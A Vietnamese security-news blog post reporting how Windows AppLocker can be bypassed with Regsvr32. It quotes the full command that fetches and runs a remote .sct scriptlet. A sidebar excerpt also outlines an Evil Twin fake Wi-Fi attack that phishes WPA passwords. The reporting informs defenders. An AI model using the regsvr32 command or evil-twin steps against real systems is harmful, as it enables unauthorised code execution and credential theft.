Chuyển đến nội dung chính

Windows AppLocker có thể bị vượt qua để thực thi script từ xa

Windows AppLocker của Microsoft, tính năng an ninh trong Windows 7 có nhiệm vụ xác định những người dùng có thể chạy ứng dụng trong phạm vi một tổ chức, có thể bị vượt qua để thực thi script từ xa trên máy tính.

Khi AppLocker được đưa vào Windows 7 và Windows Server 2008 R2, quản trị hệ thống có thể thiết lập các quy định cho phép hoặc từ chối chạy ứng dụng. Những quy định này có thể được áp dụng cho người dùng hoặc nhóm người dùng cụ thể và có thể được sử dụng cho các tập tin thực thi (.exe và .com), các script (.js, .ps1, .vbs, cmd, và .bat), tập tin Windows Installer (.msi và .msp), và tập tin DLL (.dll và .ocx).

Click image for larger version

Name: applocker.png
Views: 1
Size: 45,4 KB
ID: 56300

Để có thể vượt qua Windows AppLocker, tin tặc phải kiểm soát được vị trí nào đó trên máy tính mục tiêu và phải sử dụng Regsvr32, tiện ích dòng lệnh được thiết kế cho việc đăng ký DLL trong registry, theo nhà nghiên cứu an ninh Casey Smith.

Nhà nghiên cứu phát hiện cách tốt nhất để vượt qua AppLocker là đặt khối script vào bên trong thẻ Registration và sau đó sử dụng Regsvr32 để thực thi mã. Theo Smith, đoạn mã trong thẻ đăng ký thực thi việc đăng ký (register) và hủy bỏ (unregister).

Lợi dụng Regsvr32 để thực thi script mang lại rất nhiều lợi ích, vì công cụ dòng lệnh này là proxy nhận thức, sử dụng TLS, làm theo các chuyển hướng, và cũng có thể được thiết lập để chạy ngầm và không hiển thị bất kỳ thông báo nào.

“Vì vậy, tất cả những gì bạn cần làm là lưu tập tin .sct tại vị trí mà bạn kiểm soát. Từ mục tiêu, chỉ cần thực thi lệnh regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll. Để kích hoạt việc vượt qua, đặt khối mã, VB hoặc JS bên trong thẻ <registration>”.

Nhà nghiên cứu cho biết, việc vượt qua cũng có thể được sử dụng để gọi một tập tin cục bộ, và việc thực thi script từ thẻ registration không thực sự đăng ký đối tượng COM, có nghĩa là sẽ không có gì xuất hiện trong registry. Nhà nghiên cứu đã tạo ra một tập hợp các script proof-of-concept có thể được tải về qua Regsvr32 để mở một backdoor hoặc một shell trên HTTP.

Có trong cả Windows 10, AppLocker được coi là một trong những tính năng an ninh quan trọng nhất trong nền tảng này. Theo Microsoft, AppLocker là một trong những tính năng của Windows 10 cung cấp các giải pháp giảm thiểu tương đương (hoặc tốt hơn) EMET (Enhanced Mitigation Experience Toolkit).

Đây không phải là lần đầu tiên tiện ích Regsvr32 được phát hiện cho phép kẻ xâm nhập khả năng thực hiện các hành vi bất chính trên máy tính mục tiêu. Trong năm 2014, Trojan ngân hàng Neverquest cũng lợi dụng tiện ích này để thực hiện module DLL của mình.

Theo SecurityWeek

Nhận xét

Bài đăng phổ biến từ blog này

Fake WiFi Access Point

Evil Twin Methodology Step 1 : We will first scan the air for a target access point. Then create an access point using airbase-ng with the same name and channel of the target access point, hence Evil- TWIN. Step 2 :The client is now disconnected repeatedly from the  original access point and as most modern system’s setting says… “Connect back to same ESSID(AP name) if disconnects”. This also happens because when the client disconnects from any access point it starts sending  probe requests  in the air with the name of the access point it connected to earlier. Hence  BSSID  isn’t a barrier, you just need  ESSID  to spoof the AP Step 3 : Clients is now connected to the Fake WiFi access point and now client may start browsing Internet. Step 4 : Client will see a web administrator warning saying “Enter WPA password to download and upgrade the router firmware” Step 5 : The moment client enters the password, s/he will be redirected to a loading ...

Hướng dẫn reset máy in brother 2701dw

Mở nắp cửa tháo hộp mực máy in ra, cụm cartridge gồm 2 phần : cụm trống và cụm mực. Dùng tuốc-nơ-vít 4 cạnh vặn 2 con ốc tháo cụm bánh răng reset ra ( 2 con ốc nằm ở bên phía bánh răng ), bên phía bánh răng có 3 con ốc thì văn 2 con ra. Tháo cụm cartridge ra chúng ta để ý vị trí của  nẫy nhựa màu trắng  ở vị trí bên trái của cung tròn. Tháo được cụm bánh răng reset ra ( hình ảnh ) Bánh răng reset là bánh răng có gắn lò xo ở phía trên. Tháo rời các bánh răng ra Nắp nhựa màu đen ( khoanh đỏ ) bạn dùng tua-vít 2 cạnh bẩy cái nắp ra để đổ mực vào trong sau đó nắp lại như cũ ( để ý không làm gãy hoặc méo trục nhựa màu đen để ráp bánh răng vào ). Để ý khi máy in báo : “ tonner empty ”  trên màn hình   nghĩa là máy đã hết mực.   Đổ mực xong chúng ra lắp bánh răng như hình dưới để reset : Bánh răng bên cạnh cũng phải đúng vị trí. vấu nhựa ...

Steps to Configure your Zoho Account as POP in Outlook

Enable POP  in the Zoho Mail interface. Launch Outlook application in your system.  From the menu, browse to Tools » Account Settings » Email Accounts » Email tab Click New to open ‘ Add new email account ’ window. In Add New Account settings page, Select ‘ Manually configure Server settings or Additional Server Types ’ » Click Next Select Internet Email in the page that appears and Click Next to input the User Information.  User Information Your Name – Preferred Display Name E-mail Address – Provide your Zoho Account Email Address Account Type – Select POP3 for enabling POP Server Information for Organization users Incoming mail Server –  poppro.zoho.com Outgoing mail Server –  smtp.zoho.com User name –   you@yourdomain.com  (Your Zoho Account Email Address) Password – Zoho Account Password. Note: Provide Application Specific Password, if your account is TFA enabled.  Server Information for Personal users Incoming mai...